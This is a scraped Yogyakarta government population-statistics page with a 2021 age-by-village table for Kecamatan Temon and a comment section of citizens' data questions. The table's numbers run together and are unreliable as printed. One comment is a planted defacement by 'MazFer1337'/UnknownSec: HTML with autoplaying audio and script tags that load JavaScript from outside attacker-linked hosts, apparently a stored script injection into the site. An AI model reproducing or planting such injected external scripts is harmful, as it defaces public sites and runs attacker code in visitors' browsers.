Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN TEMON, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaJANGKARANSINDUTANPALIHANGLAGAHKALIDENGENPLUMBONKEDUNDANGDEMENKULURKALIGINTUNGTEMON WETANTEMON KULONKEBON REJOJANTENKARANGWULUHTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun3024 542825 533016 462725 521817 352026 462828 561518 333027 571712 292116 371919 381915 341912 31127 19333 287 620
2 tahun1412 261718 351816 342418 42812 201614 30817 251511 262012 3299 18611 171315 281011 21107 1788 16196 191 387
3 tahun1214 262321 442113 342621 4794 131910 291515 30711 182316 39129 211112 23149 23197 2699 1888 16228 179 407
4 tahun1414 28914 231716 332024 44910 192213 351312 25129 212123 44511 1667 131212 24117 18129 2155 10188 186 374
5 tahun1417 312017 371711 282618 4478 152020 401518 3387 151727 441113 241110 21199 2887 15514 1953 8203 199 402
6 tahun208 281917 362922 512518 431010 202010 301919 381114 252419 431214 261111 22179 261311 2475 12811 19245 198 443
7 tahun1423 371620 361411 252222 441010 202012 323126 57511 161521 36128 201012 22139 2268 1478 15810 18203 211 414
8 tahun1413 271916 351211 231923 42159 241517 321720 37123 151717 341613 29127 191613 291210 221212 2458 13213 192 405
9 tahun1222 341813 311621 371620 3696 152113 342020 40168 242124 451812 30910 19916 25159 241119 30117 18222 220 442
10 tahun207 272217 39239 322512 37716 231320 331920 39810 182520 451813 31137 201311 24714 21119 20811 19232 196 428
11 tahun1714 311215 271914 333315 48109 191411 251324 371514 292320 43915 24198 271211 23810 181410 24126 18230 196 426
12 tahun1920 391519 342915 442219 41155 202220 422223 451310 232315 381614 301312 251710 27910 191210 2298 17256 210 466
13 tahun1313 262313 361520 351918 372112 332135 562223 451514 293412 461616 321512 271110 21168 2488 1675 12256 219 475
14 tahun186 241221 332116 373122 531313 261914 331914 33811 192331 541313 26147 211110 2178 1574 11911 20225 201 426
15 tahun1216 281418 321718 352320 4383 111912 312021 41107 171219 31178 25124 16117 18119 201013 2399 18205 184 389
16 tahun1718 351510 25913 222223 45149 232520 451427 41912 211217 29148 22810 182012 3258 13107 17911 20203 205 408
17 tahun1518 331921 401512 272223 45818 262120 411514 291616 322127 481411 25157 221214 261313 261811 29611 17230 236 466
18 tahun127 192018 382122 432814 42159 241613 292120 411414 281720 371419 33814 22511 1675 12129 21139 22223 204 427
19 tahun1314 271414 282210 322220 421110 212016 362112 331410 241822 401312 25713 201914 33148 22109 1969 15224 193 417
20 tahun1114 252315 382231 532020 401311 242417 411517 321111 222522 471814 321414 281217 291113 241511 2699 18243 236 479
21 tahun2210 322519 442015 352622 481616 321422 36816 24711 182724 511613 291513 281917 3689 17117 18107 17244 221 465
22 tahun1715 321716 331817 351820 38916 252313 362014 341514 291517 321215 27817 251417 311712 2969 15911 20218 223 441
23 tahun2316 391615 311114 251820 381216 282017 372022 42137 202519 441919 38014 141713 30116 1777 14511 16217 216 433
24 tahun2118 391118 292022 421918 371714 312318 411921 401712 291419 331612 281216 281515 30614 20118 1956 11226 231 457
25 tahun1414 282123 441919 382225 471214 261913 322423 47157 222419 431816 34810 181413 271213 25510 15511 16232 230 462
26 tahun1416 301413 272016 361917 361612 282224 461410 241514 292024 441312 251915 34136 191315 28118 1928 10225 210 435
27 tahun1416 301620 361911 302132 53124 162210 322117 3888 162217 391010 201214 261411 251315 28109 19710 17221 204 425
28 tahun815 231915 341616 322826 541012 222411 351911 30815 231821 39137 201315 281217 2985 131110 211113 24218 209 427
29 tahun167 231113 241216 282226 481113 242015 351915 341512 271519 34116 171012 22910 19109 1973 1089 17196 185 381
30 tahun109 191115 26168 242619 45911 201815 331513 28711 182015 35715 22108 1887 1598 1767 1368 14178 169 347
31 tahun711 18913 221413 271823 411110 211711 28918 271711 281213 25912 2188 161511 26146 20118 1964 10177 172 349
32 tahun717 241213 25159 241818 3698 17108 181118 2996 152012 3276 13108 18128 201310 2367 1398 17168 156 324
33 tahun1312 25712 191014 242420 44815 231415 29159 2457 122511 3639 12125 171611 271212 241112 2323 5177 167 344
34 tahun1413 271119 30914 231415 291010 201215 271119 30812 201916 3598 17913 221414 28915 24710 1724 6158 197 355
35 tahun1113 241314 271219 311722 3989 171818 362520 45613 191113 24109 1995 14719 2667 13714 2173 10167 198 365
36 tahun1010 201015 251416 301620 3675 121420 342025 451114 251718 35412 161111 221116 27138 2194 13710 17174 204 378
37 tahun1415 291419 331620 361616 3246 101921 402319 42810 181914 331519 341311 2499 181310 2389 1764 10197 202 399
38 tahun912 211616 322022 421929 4878 151112 231821 39510 151432 46139 221311 24148 22910 19816 2464 10182 220 402
39 tahun1714 311918 371519 342022 42127 191923 422727 541111 221824 42820 28817 2579 1686 14147 21611 17209 235 444
40 tahun2012 322220 421918 372015 3577 141714 312217 39116 171620 36714 21810 181310 231110 2158 13910 19207 191 398
41 tahun1812 301516 311222 341625 41914 23169 251717 3498 171826 441110 211810 281414 28712 19127 19610 16198 212 410
42 tahun1313 261220 321915 342317 40510 152015 351620 36116 172428 521416 301312 251312 25137 20169 2537 10215 207 422
43 tahun2518 431716 331424 381921 401210 221023 331422 361112 231820 38129 2156 11119 20149 2376 13108 18199 213 412
44 tahun1015 251820 38915 241915 341010 20159 241218 30107 172122 43169 25129 211315 281611 27414 181112 23196 201 397
45 tahun1513 281912 311718 351324 3764 102216 382414 381111 222525 501020 30311 141212 24713 20811 19108 18202 212 414
46 tahun2319 421520 351919 382519 441013 231213 251813 311214 262622 48918 2736 9614 2097 16711 18910 19203 218 421
47 tahun1416 301514 291417 311619 351212 241120 311016 2696 152219 41118 191513 28912 211311 24119 20211 13184 203 387
48 tahun614 201517 321114 252324 47813 211721 381310 2368 141918 371212 241012 22148 221116 271311 2487 15186 205 391
49 tahun817 251018 281714 311722 391013 23157 22189 271210 222712 391212 24912 2179 161213 2559 1497 16188 184 372
50 tahun1819 371716 331813 311417 3146 101719 361720 371211 231717 34914 231111 221017 27713 2068 1475 12184 206 390
51 tahun1714 311714 31208 282722 49812 201620 36912 21914 232722 491617 3396 151217 2983 11510 1538 11203 199 402
52 tahun1617 33722 29914 232320 43711 181723 401619 35119 201727 441814 321015 251014 241013 231312 25511 16189 241 430
53 tahun1321 342717 441816 343031 611610 261617 331316 2996 151727 44811 19816 241215 271116 27138 2177 14218 234 452
54 tahun1616 321424 381615 311715 3267 131615 31168 241116 271720 371620 3659 1478 151213 2558 13910 19183 204 387
55 tahun1712 29167 231616 322821 491113 241716 331321 341010 201820 381210 222110 311818 3694 13107 17710 17223 195 418
56 tahun1812 301721 381622 382029 49138 211922 411618 341019 291818 361114 251015 25815 231116 27148 2257 12206 244 450
57 tahun85 131313 26129 212016 361015 251317 301319 32910 191622 381314 27512 171812 30106 1647 111011 21174 188 362
58 tahun137 201018 281713 302015 351212 242416 401213 25139 221713 301313 261315 281113 24129 21610 1621 3195 177 372
59 tahun1111 22156 211115 261722 39103 13513 181917 361512 271918 371615 31612 181212 2465 1187 1574 11177 172 349
60 tahun612 181517 321610 261120 31124 161518 331112 23114 151826 4469 15119 2039 1268 14137 2044 8158 169 327
61 tahun1011 211514 2979 161817 3599 181115 26716 2399 182225 47515 20125 17615 2177 1495 141011 21157 183 340
62 tahun1211 231217 291713 302720 4798 171219 311819 3776 131819 37510 15910 191613 291113 2478 15810 18188 196 384
63 tahun418 22711 18711 181818 3657 121311 24119 2047 11419 2357 1247 11911 20311 1457 1230 3102 154 256
64 tahun117 18155 201310 23914 2393 12815 23108 1865 111217 29611 1758 13711 1856 11410 1436 9123 136 259
65 tahun1211 231011 2189 171319 3234 7146 20915 2444 8714 2198 17813 2139 1226 857 1279 16114 145 259
66 tahun77 14711 1853 8910 1921 3129 21913 2257 121011 21118 19611 1768 14812 2077 1445 9108 123 231
67 tahun59 141411 25712 191014 2447 11919 281813 3185 13620 26814 22712 1977 1447 1168 1456 11118 164 282
68 tahun1112 2397 1636 9128 2035 8611 17612 1810 127 994 1393 12410 14212 1493 1244 890 104 194
69 tahun93 121010 2079 161512 2724 61012 22713 2024 6139 2288 1656 11810 1856 1167 1363 9113 116 229
70 tahun88 1687 1565 1184 1202 236 9810 1831 4813 2162 843 7910 1955 1012 334 780 82 162
71 tahun56 1165 11411 15134 1745 996 15411 1556 1157 1234 774 1147 1124 655 1033 679 88 167
72 tahun26 824 642 6710 1711 2813 21812 2036 91014 24106 1657 1259 1434 746 1032 575 102 177
73 tahun30 311 233 6410 1412 344 836 926 8411 1566 12610 1654 936 937 1031 451 77 128
74 tahun35 853 832 569 1532 517 864 1011 259 1456 1114 532 569 1512 321 351 66 117
75 tahun44 820 224 614 511 263 953 812 358 1325 782 1045 911 232 502 245 46 91
76 tahun33 612 334 765 1113 429 1136 913 455 1043 735 844 884 1262 822 452 60 112
77 tahun43 726 844 864 1011 267 13105 1563 9615 2135 884 1274 1154 924 611 271 70 141
78 tahun36 923 553 826 822 423 585 1311 256 1114 523 553 846 1014 503 343 58 101
79 tahun23 554 916 723 512 368 1476 1323 569 1566 1213 426 823 514 520 246 66 112
80 ke atas1518 331629 45723 302431 551422 362741 682840 681216 283747 842337 601127 381930 491324 371518 33148 22275 411 686
Jumlah1.0109932.0031.1051.1572.2621.1191.0932.2121.4811.4562.9377037051.4081.2251.2012.4261.2091.2852.4947397291.4681.3831.4852.8688749211.7957618051.5668819121.7937397461.4856706661.3365125601.072 14.411 14.714 29.125
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih